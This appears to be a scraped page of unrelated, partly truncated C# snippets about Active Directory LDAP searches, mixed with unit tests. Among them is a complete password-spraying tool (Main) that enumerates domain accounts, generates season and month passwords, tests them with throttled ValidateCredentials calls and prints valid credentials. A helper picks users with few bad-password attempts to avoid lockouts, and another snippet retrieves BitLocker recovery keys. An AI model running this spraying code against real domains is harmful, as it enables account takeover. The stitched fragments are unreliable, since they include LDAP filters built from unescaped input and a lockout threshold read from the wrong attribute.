        case "userdn":
            objfilter = "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(distinguishedName=" + adobjin.ADdistinguishedName + "))";
            break;

        case "user":
            objfilter = "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(samAccountName=" + adobjin.ADUserID + "))";
            break;

        case "mail":
            objfilter = "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(proxyAddresses=smtp:" + adobjin.ADMail + "))";
            break;

        case "personnelno":
            objfilter = "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(extensionAttribute5=" + adobjin.ADpersonnelNumber.ToString() + "))";
            break;

        case "name":
            objfilter = "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(name=" + adobjin.ADfullName + "))";
            break;

        case "firstfamilyname":
            objfilter = "(|" +
                        "(&(objectClass=Contact)(givenName=" + adobjin.ADfirstName + ")(sn=" + adobjin.ADfamilyName + "))" +
                        "(&(objectClass=User)(!(userAccountControl:" + AccountDisabledFlag + "))(givenName=" + adobjin.ADfirstName + ")(sn=" + adobjin.ADfamilyName + "))" +
                        ")";
            break;
        }

        ADobjInfo ADObj = new ADobjInfo();

        try
        {
            string[] myProps = new string[] { "distinguishedName", "extensionAttribute1", "sn", "proxyAddresses", "mail",
                                              "name", "givenName", "memberOf", "l", "postalCode", "samAccountName", "streetAddress", "extensionAttribute5" };

            using (DirectoryEntry entry = new DirectoryEntry(rootDSE))
                using (DirectorySearcher mySearcher = new DirectorySearcher(entry, objfilter, myProps))
                {
                    using (SearchResultCollection result = mySearcher.FindAll())
                    {
                        if (result.Count > 0)
                        {
                            string propertyName = "memberOf";

                            foreach (SearchResult rs in result)
                            {
                                ResultPropertyValueCollection valueCollection = rs.Properties[propertyName];
                                ADObj.ADmemberOf = new List <string>();

                                ADObj.ADdistinguishedName = rs.Properties["distinguishedName"][0].ToString();

                                if (rs.Properties["samAccountName"].Count > 0)
                                {
                                    ADObj.ADUserID = rs.Properties["samAccountName"][0].ToString();
                                }
                                else
                                {
                                    ADObj.ADUserID = "";
                                }

                                if (rs.Properties["name"].Count > 0)
                                {
                                    ADObj.ADfullName = rs.Properties["name"][0].ToString();
                                }
                                else
                                {
                                    ADObj.ADfullName = "";
                                }

                                if (rs.Properties["givenName"].Count > 0)
                                {
                                    ADObj.ADfirstName = rs.Properties["givenName"][0].ToString();
                                }
                                else
                                {
                                    ADObj.ADfirstName = "";
                                }

                                if (rs.Properties["sn"].Count > 0)
                                {
                                    ADObj.ADfamilyName = rs.Properties["sn"][0].ToString();
                                }
                                else
                                {
                                    ADObj.ADfamilyName = "";
                                }

                                if ((String.IsNullOrEmpty(valueCollection.ToString())))
                                {
                                    ADObj.ADmemberOf.Add("");
                                }
                                else
                                {
                                    if (valueCollection.Count > 0)
                                    {
                                        for (int j = 0; j < valueCollection.Count - 1; j++)
                                        {
                                            ADObj.ADmemberOf.Add(valueCollection[j].ToString());
                                        }
                                    }
                                    else
                                    {
                                        ADObj.ADmemberOf.Add("");
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["extensionAttribute1"].ToString())))
                                {
                                    ADObj.ADcompanyKey = "";
                                }
                                else
                                {
                                    if (rs.Properties["extensionAttribute1"].Count > 0)
                                    {
                                        ADObj.ADcompanyKey = rs.Properties["extensionAttribute1"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADcompanyKey = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["extensionAttribute5"].ToString())))
                                {
                                    ADObj.ADpersonnelNumber = "";
                                }
                                else
                                {
                                    if (rs.Properties["extensionAttribute5"].Count > 0)
                                    {
                                        ADObj.ADpersonnelNumber = rs.Properties["extensionAttribute5"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADpersonnelNumber = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["streetAddress"].ToString())))
                                {
                                    ADObj.ADstreetAddress = "";
                                }
                                else
                                {
                                    if (rs.Properties["streetAddress"].Count > 0)
                                    {
                                        ADObj.ADstreetAddress = rs.Properties["streetAddress"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADstreetAddress = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["postalCode"].ToString())))
                                {
                                    ADObj.ADpostalCode = "";
                                }
                                else
                                {
                                    if (rs.Properties["postalCode"].Count > 0)
                                    {
                                        ADObj.ADpostalCode = rs.Properties["postalCode"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADpostalCode = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["l"].ToString())))
                                {
                                    ADObj.ADCity = "";
                                }
                                else
                                {
                                    if (rs.Properties["l"].Count > 0)
                                    {
                                        ADObj.ADCity = rs.Properties["l"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADCity = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["mail"].ToString())))
                                {
                                    ADObj.ADMail = "";
                                }
                                else
                                {
                                    if (rs.Properties["mail"].Count > 0)
                                    {
                                        ADObj.ADMail = rs.Properties["mail"][0].ToString();
                                    }
                                    else
                                    {
                                        ADObj.ADMail = "";
                                    }
                                }
                            }

                            objContentMsg = "ok";
                        }
                        else
                        {
                            objContentMsg = "Searched object not found: " + adobjin.ADUserID + " " + adobjin.ADfirstName + " " + adobjin.ADfamilyName;
                        }
                    }
                }

            retval = 0;
        }

        catch (Exception ex)
        {
            objContentMsg += ex.Message + "\n" + ex.StackTrace;
            retval         = 1;
        }

        return(ADObj);
    } // end RetObjValues()
示例#22
0
        public static List <User> GetADUsers(int count, string dc = "", bool Enabled = true)
        {
            try
            {
                DateTime          dt = DateTime.Now.AddDays(-7);
                long              ftAccountExpires = dt.ToFileTime();
                DirectorySearcher search           = new DirectorySearcher();

                DirectoryEntry rootDSE = new DirectoryEntry("LDAP://RootDSE");
                string         defaultNamingContext = (String)rootDSE.Properties["defaultNamingContext"].Value;

                if (dc == "")
                {
                    List <Computer> Dcs    = GetDcs();
                    Random          random = new Random();
                    int             index  = random.Next(Dcs.Count);
                    Console.WriteLine("[*] Randomly Picked DC for LDAP queries {0}", Dcs[index].ComputerName);
                    DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + Dcs[index].Fqdn);
                    search = new DirectorySearcher(searchRoot);
                }
                else
                {
                    Console.WriteLine("[*] Using LogonServer {0} for LDAP queries", dc);
                    DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + dc);
                    search = new DirectorySearcher(searchRoot);
                }
                List <User> lstADUsers = new List <User>();
                string      DomainPath = "LDAP://" + defaultNamingContext;

                // (!(userAccountControl:1.2.840.113556.1.4.803:=2)) - get active users only
                // badPwdCount<=3 minimize the risk of locking accounts

                //if (Enabled) search.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))";
                if (Enabled)
                {
                    search.Filter = "(&(objectCategory=person)(objectClass=user)(lastLogon>=" + ftAccountExpires.ToString() + ")(badPwdCount<=3)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))";
                }
                else
                {
                    search.Filter = "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))";
                }
                search.PropertiesToLoad.Add("samaccountname");
                search.PropertiesToLoad.Add("usergroup");
                search.PropertiesToLoad.Add("displayname");
                search.SizeLimit = count * 5;
                SearchResult result;

                if (Enabled)
                {
                    Console.WriteLine("[*] Querying for active domain users with badPwdCount <= 3..");
                }
                else
                {
                    Console.WriteLine("[*] Querying for disabled domain users ..");
                }

                SearchResultCollection resultCol = search.FindAll();
                if (resultCol != null)
                {
                    for (int counter = 0; counter < resultCol.Count; counter++)
                    {
                        string UserNameEmailString = string.Empty;
                        result = resultCol[counter];
                        if (result.Properties.Contains("samaccountname") && result.Properties.Contains("displayname"))
                        {
                            User objSurveyUsers = new User();
                            objSurveyUsers.UserName    = (String)result.Properties["samaccountname"][0];
                            objSurveyUsers.DisplayName = (String)result.Properties["displayname"][0];
                            lstADUsers.Add(objSurveyUsers);
                        }
                    }
                }
                return(lstADUsers.OrderBy(arg => Guid.NewGuid()).Take(count).ToList());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                return(null);
            }
        }
        public void GetSearchResult()
        {
            SearchResultCollection collection = new SearchResultCollection();

            IDocument doc1 = MockDocument("d", "d", "d", DateTime.Now);
            IDocument doc2 = MockDocument("d2", "d", "d", DateTime.Now);
            IDocument doc3 = MockDocument("d3", "d", "d", DateTime.Now);
            SearchResult res = new SearchResult(doc1);
            SearchResult res2 = new SearchResult(doc2);

            collection.Add(res);
            collection.Add(res2);

            Assert.AreEqual(res, collection.GetSearchResult(doc1), "Wrong search result object");
            Assert.IsNull(collection.GetSearchResult(doc3), "GetSearchResult should return null");
        }
示例#24
0
        private static SearchResultCollection CustomSearchLDAP(string ldap_query, string[] optional_params = null, string subDomain = null)
        {
            DirectoryEntry newentry;
            string         modified = "";

            if (subDomain == null)
            {
                newentry = new DirectoryEntry(GetCurrentDomainPath());
            }
            else
            {
                string           ldapQueryBuild = GetCurrentDomainPath();
                string[]         ldap_split     = ldapQueryBuild.Split(',');
                StringComparison stringCompare  = StringComparison.CurrentCultureIgnoreCase;
                if (ldapQueryBuild.IndexOf(subDomain, stringCompare) >= 0)
                {
                    if (ldap_split.Length > 2)
                    {
                        if (ldap_split[ldap_split.Length - 2].IndexOf(subDomain, stringCompare) >= 0)
                        {
                            //modified = "GC://" + ldap_split[ldap_split.Length - 2] + ',' + ldap_split[ldap_split.Length - 1];
                            modified = "LDAP://" + ldap_split[ldap_split.Length - 2] + ',' + ldap_split[ldap_split.Length - 1];
                        }
                        else
                        {
                            modified = "GC://DC=" + subDomain + "," + ldap_split[ldap_split.Length - 2] + ',' + ldap_split[ldap_split.Length - 1];
                        }
                    }
                }
                else
                {
                    if (ldap_split.Length > 2)
                    {
                        modified = "GC://DC=" + subDomain + "," + ldap_split[ldap_split.Length - 2] + ',' + ldap_split[ldap_split.Length - 1];
                    }
                    else
                    {
                        modified = ldapQueryBuild.Insert(5, "DC=" + subDomain + ",");
                    }
                }

                newentry = new DirectoryEntry(modified);
            }

            if (optional_params == null)
            {
                DirectorySearcher ds = new DirectorySearcher(newentry);
                ds.ReferralChasing = ReferralChasingOption.All;
                ds.Filter          = ldap_query;
                ds.SearchScope     = SearchScope.Subtree;
                ds.PageSize        = 500;
                SearchResultCollection results = ds.FindAll();
                return(results);
            }
            else
            {
                DirectorySearcher ds = new DirectorySearcher(newentry);
                ds.ReferralChasing = ReferralChasingOption.All;
                ds.Filter          = ldap_query;
                ds.SearchScope     = SearchScope.Subtree;
                ds.PageSize        = 500;
                foreach (string param in optional_params)
                {
                    ds.PropertiesToLoad.Add(param);
                }
                SearchResultCollection results = ds.FindAll();
                return(results);
            }
        }
 public void Indexer_InvalidIndex_TooBig()
 {
     SearchResultCollection collection = new SearchResultCollection();
     SearchResult i = collection[1];
 }
示例#26
0
        private void RunUMGetGroups(string ldap, string net)
        {
            Dictionary <string, string> inputProperties = new Dictionary <string, string>()
            {
                { Constants.SOProperties.URM.FQN, GetStringProperty(Constants.SOProperties.URM.FQN) },
                { Constants.SOProperties.URM.Name, GetStringProperty(Constants.SOProperties.URM.Name) },
                { Constants.SOProperties.URM.Description, GetStringProperty(Constants.SOProperties.URM.Description) },
                { Constants.SOProperties.URM.Email, GetStringProperty(Constants.SOProperties.URM.Email) }
            };

            //Adding additional AD properties to inputProperties for filtration
            foreach (string prop in AdditionalADProps)
            {
                inputProperties.Add(prop, GetStringProperty(prop));
            }

            string            securityLabel = GetStringParameter(Constants.SOProperties.URM.Label, true);
            DirectorySearcher dSearcher     = new DirectorySearcher(new DirectoryEntry(ldap));

            if (string.IsNullOrEmpty(securityLabel))
            {
                securityLabel = "K2";
            }

            dSearcher.Filter   = LdapHelper.GetLdapQueryString(inputProperties, ServiceBroker.Service.ServiceObjects[0].Methods[0].Filter, IdentityType.Group, ChangeContainsToStartWith);
            dSearcher.PageSize = ADMaxResultSize;

            dSearcher.PropertiesToLoad.Add(AdProperties.sAMAccountName);
            dSearcher.PropertiesToLoad.Add(AdProperties.Name);
            dSearcher.PropertiesToLoad.Add(AdProperties.Email);
            dSearcher.PropertiesToLoad.Add(AdProperties.Description);
            //Adding additional AD Properties to load
            foreach (string prop in AdditionalADProps)
            {
                dSearcher.PropertiesToLoad.Add(prop);
            }

            SearchResultCollection col = dSearcher.FindAll();
            DataTable results          = ServiceBroker.ServicePackage.ResultTable;

            foreach (SearchResult res in col)
            {
                DataRow dr   = results.NewRow();
                string  saml = LdapHelper.GetSingleStringPropertyCollectionValue(res.Properties, AdProperties.sAMAccountName);
                dr[Constants.SOProperties.URM.FQN]         = string.Concat(securityLabel, ":", net, "\\", saml);
                dr[Constants.SOProperties.URM.Name]        = string.Concat(net, "\\", saml);
                dr[Constants.SOProperties.URM.GroupName]   = string.Concat(net, "\\", saml);
                dr[Constants.SOProperties.URM.Description] = LdapHelper.GetSingleStringPropertyCollectionValue(res.Properties, AdProperties.Description);
                dr[Constants.SOProperties.URM.Email]       = LdapHelper.GetSingleStringPropertyCollectionValue(res.Properties, AdProperties.Email);
                dr[Constants.SOProperties.URM.Saml]        = saml;
                foreach (string prop in AdditionalADProps)
                {
                    dr[prop] = LdapHelper.GetSingleStringPropertyCollectionValue(res.Properties, prop);
                }

                lock (ServiceBroker.ServicePackage.ResultTable)
                {
                    results.Rows.Add(dr);
                }
            }
        }
示例#27
0
        public void LDAPQuery(string ldapbase, string filter, int limit)
        {
            Boolean islimit = false;

            if (limit > 0)
            {
                islimit = true;
            }
            //DirectoryEntry deRoot = new DirectoryEntry("LDAP://W2K8DC/dc=stufus,dc=lan");
            DirectoryEntry deRoot = new DirectoryEntry(ldapbase);

            DirectorySearcher dsFindUser = new DirectorySearcher(deRoot);

            dsFindUser.SearchScope = SearchScope.Subtree;

            if (islimit == false)
            {
                Console.Out.WriteLine("LDAP Search for '{0}' without a results limit", filter);
            }
            else
            {
                Console.Out.WriteLine("LDAP Search for '{0}' with a limit of {1} {2}", filter, limit, (limit == 1)?"result":"results");
            }

            dsFindUser.Filter = filter;

            SearchResultCollection result = dsFindUser.FindAll();
            int number_of_results         = result.Count;

            Console.Out.WriteLine("Total: {0} result{1}", number_of_results, (number_of_results == 1)?"":"s");

            if (result != null)
            {
                foreach (System.DirectoryServices.SearchResult resEnt in result)
                {
                    Console.Out.WriteLine("------------------------------------");
                    System.DirectoryServices.DirectoryEntry de = resEnt.GetDirectoryEntry();
                    foreach (string prop in de.Properties.PropertyNames)
                    {
                        try {
                            int num_items = de.Properties[prop].Count;
                            foreach (string pval in de.Properties[prop])
                            {
                                Console.Out.WriteLine("{0}[{1}]: {2}", prop, num_items, pval);
                            }
                        }
                        catch
                        {
                            // TODO some attributes can't be casted to a string - so work through them
                            //Console.Out.WriteLine("{0}=(ERROR)", prop);
                        }
                    }
                    if (islimit == true)
                    {
                        limit--;
                        if (limit == 0)
                        {
                            return;
                        }
                    }
                }
            }
        }
示例#28
0
        public void worker_DoWork(object sender, DoWorkEventArgs e)
        {
            string col1;
            string col2;
            string col3;
            string col4;
            string col5;
            string col6;
            string col7;
            string col8;
            string col9;
            string col10;

            BackgroundWorker worker = sender as BackgroundWorker;

            count = 0;

            DirectoryEntry objDE;

            objDE = new DirectoryEntry(Properties.Settings.Default.RootOU);

            var deSearch = new DirectorySearcher(objDE)
            {
                SearchRoot = objDE,
                Filter     = searchString
            };

            SearchResultCollection searchResult = deSearch.FindAll();


            foreach (SearchResult sr in searchResult)
            {
                ResultPropertyCollection pc = sr.Properties;

                try
                {
                    col1 = pc[comboChoice.Col1][0].ToString();
                }
                catch
                {
                    col1 = "";
                }

                try
                {
                    col2 = pc[comboChoice.Col2][0].ToString();
                }
                catch
                {
                    col2 = "";
                }

                try
                {
                    col3 = pc[comboChoice.Col3][0].ToString();
                }
                catch
                {
                    col3 = "";
                }

                try
                {
                    col4 = pc[comboChoice.Col4][0].ToString();
                }
                catch
                {
                    col4 = "";
                }

                try
                {
                    col5 = pc[comboChoice.Col5][0].ToString();
                }
                catch
                {
                    col5 = "";
                }
                try
                {
                    col6 = pc[comboChoice.Col6][0].ToString();
                }
                catch
                {
                    col6 = "";
                }

                try
                {
                    col7 = pc[comboChoice.Col7][0].ToString();
                }
                catch
                {
                    col7 = "";
                }
                try
                {
                    col8 = pc[comboChoice.Col8][0].ToString();
                }
                catch
                {
                    col8 = "";
                }
                try
                {
                    col9 = pc[comboChoice.Col9][0].ToString();
                }
                catch
                {
                    col9 = "";
                }
                try
                {
                    col10 = pc[comboChoice.Col10][0].ToString();
                }
                catch
                {
                    col10 = "";
                }

                userList.Add(new UserList()
                {
                    Col1  = col1,
                    Col2  = col2,
                    Col3  = col3,
                    Col4  = col4,
                    Col5  = col5,
                    Col6  = col6,
                    Col7  = col7,
                    Col8  = col8,
                    Col9  = col9,
                    Col10 = col10
                });

                count++;
                worker.ReportProgress(count, totalCount);
            }

            deSearch.Dispose();
            searchResult.Dispose();
            objDE.Dispose();
        }
 public void Constructor_WithCapacity()
 {
     SearchResultCollection collection = new SearchResultCollection(15);
     Assert.AreEqual(0, collection.Count, "Wrong count (collection should be empty)");
     Assert.AreEqual(15, collection.Capacity, "Wrong capacity");
 }
示例#30
0
        public static string GetBLRecoveryKey(string computerName)
        {
            string recoveryKey;
            string computerDN;

            try
            {
                DirectoryEntry    entry   = new DirectoryEntry(ADContext.LDAP_Path);
                DirectoryEntries  entries = entry.Children;
                DirectorySearcher ds      = new DirectorySearcher(entry);
                ds.Filter      = "(&(objectCategory=Computer)(cn=" + computerName + "))";
                ds.SearchScope = SearchScope.Subtree;
                SearchResult item = ds.FindOne();
                if (item != null)
                {
                    computerDN     = item.GetDirectoryEntry().Properties["distinguishedname"].Value.ToString();
                    entry          = new DirectoryEntry(("LDAP://" + computerDN));
                    entries        = entry.Children;
                    ds             = new DirectorySearcher(entry);
                    ds.Filter      = "(objectClass=msFVE-RecoveryInformation)";
                    ds.SearchScope = SearchScope.Subtree;
                    SearchResultCollection result = ds.FindAll();
                    if (result.Count == 1)
                    {
                        SearchResult sr = result[0];
                        string       recoveryPassword = sr.GetDirectoryEntry().Properties["msFVE-RecoveryPassword"].Value.ToString();
                        recoveryKey = recoveryPassword;
                        return(recoveryKey);
                    }
                    if (result.Count > 1)
                    {
                        DateTime latest      = default(DateTime);
                        string   newestBLKey = "Recovery key unavailable.";

                        Dictionary <string, DateTime> bitLockerEntries = new Dictionary <string, DateTime>();
                        SearchResultCollection        searchResults    = result;
                        foreach (SearchResult resultValue in searchResults)
                        {
                            string   key       = resultValue.GetDirectoryEntry().Properties["msFVE-RecoveryPassword"].Value.ToString();
                            DateTime timeValue = (DateTime)resultValue.GetDirectoryEntry().Properties["whencreated"].Value;
                            bitLockerEntries.Add(key, timeValue);
                            newestBLKey = key;
                            latest      = timeValue;
                        }
                        foreach (KeyValuePair <string, DateTime> pair in bitLockerEntries)
                        {
                            if (DateTime.Compare(latest, pair.Value) < 0)
                            {
                                newestBLKey = pair.Key;
                                latest      = pair.Value;
                            }
                        }
                        recoveryKey = newestBLKey;
                        return(recoveryKey);
                    }
                    else
                    {
                        return("Recovery key unavailable.");
                    }
                }
                return("Recovery key unavailable.");
            }
            catch (Exception e)
            {
                MessageBox.Show("GetBLRecovery " + e.Message);
                return(null);
            }
        }
示例#31
0
        static void Main(string[] args)
        {
            string LogonServer = Environment.GetEnvironmentVariable("LOGONSERVER").TrimStart('\\');

            if (LogonServer == null)
            {
                Console.WriteLine("[-] Failed to retrieve the LOGONSERVER the environment variable; the script will exit.");
                System.Environment.Exit(1);
            }

            List <string> UserList         = new List <string>();
            int           minPwdLength     = new int();
            int           lockoutThreshold = new int();
            string        Seeds            = null;
            string        Passwords        = null;
            int           Delay            = new int();
            int           Sleep            = new int();
            int           Num = new int();

            for (int i = 0; i < args.Length; i++)
            {
                if (args[i] == "--Passwords")
                {
                    Passwords = args[i + 1];
                }
                else if (args[i] == "--Seeds")
                {
                    Seeds = args[i + 1];
                }
                else if (args[i] == "--Delay")
                {
                    Delay = int.Parse(args[i + 1]);
                }
                else if (args[i] == "--Sleep")
                {
                    Sleep = int.Parse(args[i + 1]);
                }
                else if (args[i] == "--Num")
                {
                    Num = int.Parse(args[i + 1]);
                }
            }

            try
            {
                DirectoryEntry    dEntry  = new DirectoryEntry("LDAP://" + System.DirectoryServices.ActiveDirectory.ActiveDirectorySite.GetComputerSite().InterSiteTopologyGenerator.Name);
                DirectorySearcher dSearch = new DirectorySearcher(dEntry);
                dSearch.Filter   = "(&(objectCategory=Person)(sAMAccountName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))";
                dSearch.PageSize = 1000;
                dSearch.PropertiesToLoad.Add("sAMAccountName");
                dSearch.SearchScope = SearchScope.Subtree;
                SearchResultCollection results = dSearch.FindAll();
                if (results != null)
                {
                    if (Num > 0)
                    {
                        for (var i = 0; i < Num; i++)
                        {
                            UserList.Add((string)results[i].Properties["sAMAccountName"][0]);
                        }
                    }
                    else
                    {
                        for (var i = 0; i < results.Count; i++)
                        {
                            UserList.Add((string)results[i].Properties["sAMAccountName"][0]);
                        }
                    }
                }
                else
                {
                    Console.WriteLine("[-] Failed to retrieve the usernames from Active Directory; the script will exit.");
                    System.Environment.Exit(1);
                }

                if (UserList != null)
                {
                    int UserCount = UserList.Count;
                    Console.WriteLine("[+] Successfully collected " + UserCount + " usernames from Active Directory.");
                    lockoutThreshold = (int)dEntry.Properties["minPwdLength"].Value;
                    Console.WriteLine("[*] The Lockout Threshold for the current domain is " + lockoutThreshold + ".");
                    minPwdLength = (int)dEntry.Properties["minPwdLength"].Value;
                    Console.WriteLine("[*] The Min Password Length for the current domain is " + minPwdLength + ".");
                }
                else
                {
                    Console.WriteLine("[-] Failed to create a list the usernames from Active Directory; the script will exit.");
                    System.Environment.Exit(1);
                }
            }
            catch
            {
                Console.WriteLine("[-] Failed to find or connect to Active Directory; the script will exit.");
                System.Environment.Exit(1);
            }

            List <string> SeedList     = new List <string>();
            List <string> PasswordList = new List <string>();

            if (Passwords != null)
            {
                PasswordList = Passwords.Split(',').ToList();
            }
            else if (Seeds != null)
            {
                SeedList     = Seeds.Split(',').ToList();
                PasswordList = GeneratePasswords(SeedList, minPwdLength);
            }
            else
            {
                List <string> SeasonList = new List <string>();
                List <string> MonthList  = new List <string>();

                System.DateTime Today = System.DateTime.Today;
                System.DateTime Month = new DateTime(Today.Year, Today.Month, 1);

                SeasonList.Add(GetSeason(Month.AddMonths(-1)).ToString());
                SeasonList.Add(GetSeason(Month).ToString());
                SeasonList.Add(GetSeason(Month.AddMonths(1)).ToString());

                MonthList.Add(Month.AddMonths(-1).ToString("MMMM"));
                MonthList.Add(Month.ToString("MMMM"));
                MonthList.Add(Month.AddMonths(1).ToString("MMMM"));

                SeedList = SeasonList.Distinct().Concat(MonthList.Distinct()).ToList();

                PasswordList = GeneratePasswords(SeedList, minPwdLength);
            }
            if (PasswordList == null)
            {
                Console.WriteLine("[-] The PasswordList variable is empty; the script will exit.");
                System.Environment.Exit(1);
            }
            Console.WriteLine("[+] Successfully generated a list of " + PasswordList.Count + " passwords.");

            Console.WriteLine("[*] Starting password spraying operations.");
            if (Delay > 0)
            {
                Console.WriteLine("[*] Using a delay of " + Delay + " milliseonds between attempts.");
            }
            else
            {
                Console.WriteLine("[*] Using the default delay of 1000 milliseonds between attempts.");
            }

            foreach (string Password in PasswordList)
            {
                Console.WriteLine("[*] Using password " + Password);
                foreach (string UserName in UserList)
                {
                    bool Flag = false;
                    try
                    {
                        using (PrincipalContext principalContext = new PrincipalContext(ContextType.Domain, LogonServer))
                        {
                            Flag = principalContext.ValidateCredentials(UserName, Password, ContextOptions.Negotiate);
                        }
                    }
                    catch (PrincipalServerDownException)
                    {
                        Console.WriteLine("[-] Failed to retrieve the domain name; the script will exit.");
                    }

                    if (Flag == true)
                    {
                        Console.WriteLine("[+] Successfully authenticated with " + UserName + "::" + Password);
                    }
                    else
                    {
                        Console.WriteLine("[-] Authentication failed with " + UserName + "::" + Password);
                    }

                    if (Delay > 0)
                    {
                        Thread.Sleep(Delay);
                    }
                    else
                    {
                        Thread.Sleep(1000);
                    }
                }
                Console.WriteLine("[*] Completed all rounds with password " + Password);

                if (Sleep > 0)
                {
                    int Duration = (int)TimeSpan.FromMinutes(Sleep).TotalMilliseconds;
                    Console.WriteLine("[*] Now the script will sleep for " + TimeSpan.FromMilliseconds(Duration).TotalMinutes.ToString() + " minutes.");
                    Thread.Sleep(Duration);
                }
            }
            Console.WriteLine("[*] Completed all password spraying operations.");
        }
        public void CopyTo()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            SearchResult[] results = new SearchResult[2];
            collection.CopyTo(results, 0);

            Assert.AreEqual(res, results[0], "Wrong result item");
            Assert.AreEqual(res2, results[1], "Wrong result item");

            results = new SearchResult[3];
            collection.CopyTo(results, 0);

            Assert.AreEqual(res, results[0], "Wrong result item");
            Assert.AreEqual(res2, results[1], "Wrong result item");
            Assert.IsNull(results[2], "Non-null item");

            results = new SearchResult[3];
            collection.CopyTo(results, 1);

            Assert.IsNull(results[0], "Non-null item");
            Assert.AreEqual(res, results[1], "Wrong result item");
            Assert.AreEqual(res2, results[2], "Wrong result item");
        }
        protected void Page_Load(object sender, EventArgs e)
        {
            lastUpdatedText = SiteConfiguration.GetDictionaryText("Last Updated");
            cmdPrev.Text = SiteConfiguration.GetDictionaryText("Previous Button");
            cmdNext.Text = SiteConfiguration.GetDictionaryText("Next Button");

            // Decode the search string query string.  Will be empty string if no search string was provided.
            string searchStr = Server.UrlDecode(WebUtil.GetQueryString("searchStr"));

            // If the visitor provided no criteria, don't bother searching
            if (searchStr == string.Empty)
                lblSearchString.Text = SiteConfiguration.GetDictionaryText("Search Criteria") + SiteConfiguration.GetDictionaryText("No Criteria");
            else
            {
                string indexName = StringUtil.GetString(IndexName, SiteConfiguration.GetSiteSettingsItem()["Search Index"]);
                searchMgr = new SearchManager(indexName);

                // Remind the visitor what they provided as search criteria
                lblSearchString.Text = SiteConfiguration.GetDictionaryText("Search Criteria") + searchStr;

                // Perform the actual search
                searchMgr.Search(searchStr);

                // Display the search results
                results = searchMgr.SearchResults;

                // Now iterate over the number of results
                foreach (var result in results)
                {
                    Item hit = result.GetObject<Item>();
                    if (hit != null)
                    {
                        ResultsList.Add(hit);
                    }
                }

                // no results were found so we need to show message and suggestions
                if (searchMgr.SearchResults.Count == 0)
                {
                    Sitecore.Search.Index index = Sitecore.Search.SearchManager.GetIndex("system");
                    SpellChecker.Net.Search.Spell.SpellChecker spellchecker = new SpellChecker.Net.Search.Spell.SpellChecker(index.Directory);
                    spellchecker.IndexDictionary(new LuceneDictionary(IndexReader.Open(index.Directory), "_content"));
                    String[] suggestions = spellchecker.SuggestSimilar(searchStr, 5);

                    if (suggestions.Length > 0)
                    {
                        lblSearchString.Text += "<p>";
                        lblSearchString.Text += SiteConfiguration.GetDictionaryText("Did You Mean");
                        foreach (string s in suggestions)
                        {
                            lblSearchString.Text += String.Format("&nbsp;<a href=\"{0}?searchStr={1}\">{2}</a>&nbsp;", LinkManager.GetItemUrl(Sitecore.Context.Item), s, s);
                        }
                        lblSearchString.Text += "</p>";
                    }
                    else
                    {
                        string noResultsMsg = SiteConfiguration.GetDictionaryText("No Results");
                        LiteralControl noResults = new LiteralControl(string.Format("<p>{0}</p>", noResultsMsg));
                        pnResultsPanel.Controls.Add(noResults);
                    }
                }
                else
                {
                    if (!Page.IsPostBack)
                        DisplayResults();
                }
            }
        }
示例#34
0
        public static DomainInfo GetDomainInfo(string domainController, string port, string userName, string password, string searchBase, RtContextValue _context)
        {
            int ldapPort = ConvertPort(port);

            if (ldapPort == 0)
            {
                ldapPort = 389;
            }
            DomainInfo domainInfo = new DomainInfo();

            if (domains != null && domains.Contains(domainController))
            {
                domainInfo.DomainName      = domainController;
                domainInfo.Users           = (ArrayList)domains[domainController];
                domainInfo.DistiguishNames = (Hashtable)domains[domainController + "1"];
                return(domainInfo);
            }

            if (domains == null)
            {
                domains = new Hashtable();
            }
            ArrayList users = new ArrayList();

            if (_context.Equals(RtContextValue.JVCACHE))
            {
                Hashtable distinguishNames = new Hashtable();

                //Connection Build for Ldap Authentication
                _ldapConnection = GetLdapConnection(domainController, ldapPort, userName, password);

                string filter = "(objectClass=*)";

                String[] attribsToReturn;

                string attribs = "cn";

                // split the single string expression from the string argument into an array of strings
                attribsToReturn = attribs.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);

                SearchRequest searchRequest = new SearchRequest(searchBase, filter, System.DirectoryServices.Protocols.SearchScope.Subtree, attribsToReturn);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)_ldapConnection.SendRequest(searchRequest);

                    if (searchResponse.Entries.Count > 0)
                    {
                        foreach (SearchResultEntry entry in searchResponse.Entries)
                        {
                            // retrieve a specific attribute
                            SearchResultAttributeCollection attributes = entry.Attributes;
                            foreach (DirectoryAttribute attribute in attributes.Values)
                            {
                                users.Add(attribute[0].ToString());
                                distinguishNames.Add(attribute[0].ToString(), entry.DistinguishedName);
                            }
                        }
                    }
                }
                catch (Exception ex) { throw ex; }

                domainInfo.Users           = users;
                domainInfo.DistiguishNames = distinguishNames;

                domains[domainController]       = users;
                domains[domainController + "1"] = distinguishNames;
            }
            else
            {
                #region --- Previous Code ----
